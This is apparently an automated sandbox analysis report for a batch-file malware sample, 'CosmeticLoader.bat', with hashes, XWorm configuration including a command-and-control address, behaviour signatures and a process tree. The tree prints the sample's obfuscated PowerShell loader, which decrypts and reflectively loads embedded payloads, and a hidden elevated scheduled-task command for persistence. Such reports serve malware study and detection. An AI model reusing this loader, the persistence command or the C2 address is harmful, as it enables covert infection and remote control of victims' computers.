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Analysis
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max time kernel
149s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
12/09/2024, 08:08
Static task
static1
Behavioral task
behavioral1
Sample
CosmeticLoader.bat
Resource
win10-20240404-en
General
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Target
CosmeticLoader.bat
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Size
462KB
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MD5
d44126df70e3dbdff887215a95e6f3ce
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SHA1
6d729305d24b9ede2bef06b7885c4348e1899287
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SHA256
5a1bc7923a04c38975120facb005961068ea9b81cdcbecf7595c9cbcb73dda68
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SHA512
cd63b04365d8edf905ce2cea4a3c205761d65c0feef67b8840bbc87078d8739ecf735449e8cffdcae48e5f45895f62860dff6acee1da7e8701ded067f0527daf
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SSDEEP
12288:+vhOfI50mwS2DU3R2ytr9vOH7OCGrGa4c:+vj97IAm7orkc
Malware Config
Extracted
gozi
Extracted
xworm
127.0.0.1:7000
80.76.49.176:7000
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Install_directory
%AppData%
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install_file
XClient.exe
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/5048-58-0x000002505E060000-0x000002505E082000-memory.dmp family_xworm -
Blocklisted process makes network request 1 IoCs
flow pid Process 21 5048 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2056 powershell.exe 2508 powershell.exe 5048 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
pid Process 824 XClient.exe -
Drops file in System32 directory 16 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\system32\SleepStudy\user-not-present-trace-2024-09-12-08-09-21.etl svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\XClient svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File created C:\Windows\system32\SleepStudy\user-not-present-trace-2024-09-12-08-09-21.etl svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe -
Modifies data under HKEY_USERS 42 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001800101D7491B7" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133706021180634925" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133706021286837946" svchost.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App svchost.exe Key created \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1 svchost.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3252 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2056 powershell.exe 2056 powershell.exe 2508 powershell.exe 2508 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe 5048 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2056 powershell.exe Token: SeDebugPrivilege 2508 powershell.exe Token: SeIncreaseQuotaPrivilege 2508 powershell.exe Token: SeSecurityPrivilege 2508 powershell.exe Token: SeTakeOwnershipPrivilege 2508 powershell.exe Token: SeLoadDriverPrivilege 2508 powershell.exe Token: SeSystemProfilePrivilege 2508 powershell.exe Token: SeSystemtimePrivilege 2508 powershell.exe Token: SeProfSingleProcessPrivilege 2508 powershell.exe Token: SeIncBasePriorityPrivilege 2508 powershell.exe Token: SeCreatePagefilePrivilege 2508 powershell.exe Token: SeBackupPrivilege 2508 powershell.exe Token: SeRestorePrivilege 2508 powershell.exe Token: SeShutdownPrivilege 2508 powershell.exe Token: SeDebugPrivilege 2508 powershell.exe Token: SeSystemEnvironmentPrivilege 2508 powershell.exe Token: SeRemoteShutdownPrivilege 2508 powershell.exe Token: SeUndockPrivilege 2508 powershell.exe Token: SeManageVolumePrivilege 2508 powershell.exe Token: 33 2508 powershell.exe Token: 34 2508 powershell.exe Token: 35 2508 powershell.exe Token: 36 2508 powershell.exe Token: SeIncreaseQuotaPrivilege 2508 powershell.exe Token: SeSecurityPrivilege 2508 powershell.exe Token: SeTakeOwnershipPrivilege 2508 powershell.exe Token: SeLoadDriverPrivilege 2508 powershell.exe Token: SeSystemProfilePrivilege 2508 powershell.exe Token: SeSystemtimePrivilege 2508 powershell.exe Token: SeProfSingleProcessPrivilege 2508 powershell.exe Token: SeIncBasePriorityPrivilege 2508 powershell.exe Token: SeCreatePagefilePrivilege 2508 powershell.exe Token: SeBackupPrivilege 2508 powershell.exe Token: SeRestorePrivilege 2508 powershell.exe Token: SeShutdownPrivilege 2508 powershell.exe Token: SeDebugPrivilege 2508 powershell.exe Token: SeSystemEnvironmentPrivilege 2508 powershell.exe Token: SeRemoteShutdownPrivilege 2508 powershell.exe Token: SeUndockPrivilege 2508 powershell.exe Token: SeManageVolumePrivilege 2508 powershell.exe Token: 33 2508 powershell.exe Token: 34 2508 powershell.exe Token: 35 2508 powershell.exe Token: 36 2508 powershell.exe Token: SeIncreaseQuotaPrivilege 2508 powershell.exe Token: SeSecurityPrivilege 2508 powershell.exe Token: SeTakeOwnershipPrivilege 2508 powershell.exe Token: SeLoadDriverPrivilege 2508 powershell.exe Token: SeSystemProfilePrivilege 2508 powershell.exe Token: SeSystemtimePrivilege 2508 powershell.exe Token: SeProfSingleProcessPrivilege 2508 powershell.exe Token: SeIncBasePriorityPrivilege 2508 powershell.exe Token: SeCreatePagefilePrivilege 2508 powershell.exe Token: SeBackupPrivilege 2508 powershell.exe Token: SeRestorePrivilege 2508 powershell.exe Token: SeShutdownPrivilege 2508 powershell.exe Token: SeDebugPrivilege 2508 powershell.exe Token: SeSystemEnvironmentPrivilege 2508 powershell.exe Token: SeRemoteShutdownPrivilege 2508 powershell.exe Token: SeUndockPrivilege 2508 powershell.exe Token: SeManageVolumePrivilege 2508 powershell.exe Token: 33 2508 powershell.exe Token: 34 2508 powershell.exe Token: 35 2508 powershell.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3444 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3000 wrote to memory of 2788 3000 cmd.exe 86 PID 3000 wrote to memory of 2788 3000 cmd.exe 86 PID 3000 wrote to memory of 2056 3000 cmd.exe 87 PID 3000 wrote to memory of 2056 3000 cmd.exe 87 PID 2056 wrote to memory of 2508 2056 powershell.exe 91 PID 2056 wrote to memory of 2508 2056 powershell.exe 91 PID 2056 wrote to memory of 3672 2056 powershell.exe 96 PID 2056 wrote to memory of 3672 2056 powershell.exe 96 PID 3672 wrote to memory of 4316 3672 WScript.exe 97 PID 3672 wrote to memory of 4316 3672 WScript.exe 97 PID 4316 wrote to memory of 4620 4316 cmd.exe 99 PID 4316 wrote to memory of 4620 4316 cmd.exe 99 PID 4316 wrote to memory of 5048 4316 cmd.exe 100 PID 4316 wrote to memory of 5048 4316 cmd.exe 100 PID 5048 wrote to memory of 3444 5048 powershell.exe 56 PID 5048 wrote to memory of 984 5048 powershell.exe 16 PID 5048 wrote to memory of 1968 5048 powershell.exe 34 PID 5048 wrote to memory of 2356 5048 powershell.exe 51 PID 5048 wrote to memory of 4168 5048 powershell.exe 72 PID 5048 wrote to memory of 2348 5048 powershell.exe 43 PID 5048 wrote to memory of 1348 5048 powershell.exe 23 PID 5048 wrote to memory of 1740 5048 powershell.exe 69 PID 5048 wrote to memory of 3116 5048 powershell.exe 94 PID 5048 wrote to memory of 2520 5048 powershell.exe 44 PID 5048 wrote to memory of 1924 5048 powershell.exe 33 PID 5048 wrote to memory of 2120 5048 powershell.exe 39 PID 5048 wrote to memory of 1132 5048 powershell.exe 36 PID 5048 wrote to memory of 772 5048 powershell.exe 10 PID 5048 wrote to memory of 1720 5048 powershell.exe 31 PID 5048 wrote to memory of 3884 5048 powershell.exe 65 PID 5048 wrote to memory of 2340 5048 powershell.exe 42 PID 5048 wrote to memory of 1052 5048 powershell.exe 18 PID 5048 wrote to memory of 1104 5048 powershell.exe 20 PID 5048 wrote to memory of 1692 5048 powershell.exe 30 PID 5048 wrote to memory of 1488 5048 powershell.exe 27 PID 5048 wrote to memory of 896 5048 powershell.exe 11 PID 5048 wrote to memory of 2072 5048 powershell.exe 38 PID 5048 wrote to memory of 5076 5048 powershell.exe 75 PID 5048 wrote to memory of 2256 5048 powershell.exe 41 PID 5048 wrote to memory of 3240 5048 powershell.exe 53 PID 5048 wrote to memory of 676 5048 powershell.exe 15 PID 5048 wrote to memory of 1064 5048 powershell.exe 19 PID 5048 wrote to memory of 1452 5048 powershell.exe 25 PID 5048 wrote to memory of 1648 5048 powershell.exe 29 PID 5048 wrote to memory of 464 5048 powershell.exe 14 PID 5048 wrote to memory of 2628 5048 powershell.exe 48 PID 5048 wrote to memory of 2032 5048 powershell.exe 35 PID 5048 wrote to memory of 2620 5048 powershell.exe 47 PID 5048 wrote to memory of 1240 5048 powershell.exe 22 PID 5048 wrote to memory of 2224 5048 powershell.exe 40 PID 5048 wrote to memory of 4232 5048 powershell.exe 66 PID 5048 wrote to memory of 1464 5048 powershell.exe 26 PID 5048 wrote to memory of 944 5048 powershell.exe 12 PID 5048 wrote to memory of 1032 5048 powershell.exe 17 PID 5048 wrote to memory of 1804 5048 powershell.exe 32 PID 5048 wrote to memory of 1232 5048 powershell.exe 21 PID 5048 wrote to memory of 1592 5048 powershell.exe 28 PID 5048 wrote to memory of 3560 5048 powershell.exe 57 PID 5048 wrote to memory of 3360 5048 powershell.exe 55 PID 5048 wrote to memory of 1388 5048 powershell.exe 24 PID 5048 wrote to memory of 2568 5048 powershell.exe 45 PID 5048 wrote to memory of 2168 5048 powershell.exe 68 PID 5048 wrote to memory of 848 5048 powershell.exe 102 PID 772 wrote to memory of 4028 772 svchost.exe 103 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Drops file in System32 directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:772 -
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵PID:4028
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding2⤵PID:4980
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:944
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:464
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:984 -
C:\Users\Admin\AppData\Roaming\XClient.exeC:\Users\Admin\AppData\Roaming\XClient.exe2⤵
- Executes dropped EXE
PID:824
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1104
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1232
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1348
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1452
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1488
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1648
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1804
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1924
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1968
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2072
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2120
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2224
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2348
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2568
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2620
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2628
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3360
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3444 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CosmeticLoader.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3000 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('twkRdSS9rx0e1GAS+xOYGpTEHiXnefOd1aQP1MfgoFw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iv04Ns0kPKLIVTUZA6Q2SQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Zxwkp=New-Object System.IO.MemoryStream(,$param_var); $JOKcw=New-Object System.IO.MemoryStream; $vznpW=New-Object System.IO.Compression.GZipStream($Zxwkp, [IO.Compression.CompressionMode]::Decompress); $vznpW.CopyTo($JOKcw); $vznpW.Dispose(); $Zxwkp.Dispose(); $JOKcw.Dispose(); $JOKcw.ToArray();}function execute_function($param_var,$param2_var){ $Ekltt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uOQTi=$Ekltt.EntryPoint; $uOQTi.Invoke($null, $param2_var);}$oFsgC = 'C:\Users\Admin\AppData\Local\Temp\CosmeticLoader.bat';$host.UI.RawUI.WindowTitle = $oFsgC;$emRHs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($oFsgC).Split([Environment]::NewLine);foreach ($hVxGX in $emRHs) { if ($hVxGX.StartsWith('apqHOrrBYoUaaAYCNYVK')) { $TkgLL=$hVxGX.Substring(20); break; }}$payloads_var=[string[]]$TkgLL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:2788
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2056 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_989_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2508
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3672 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:4316 -
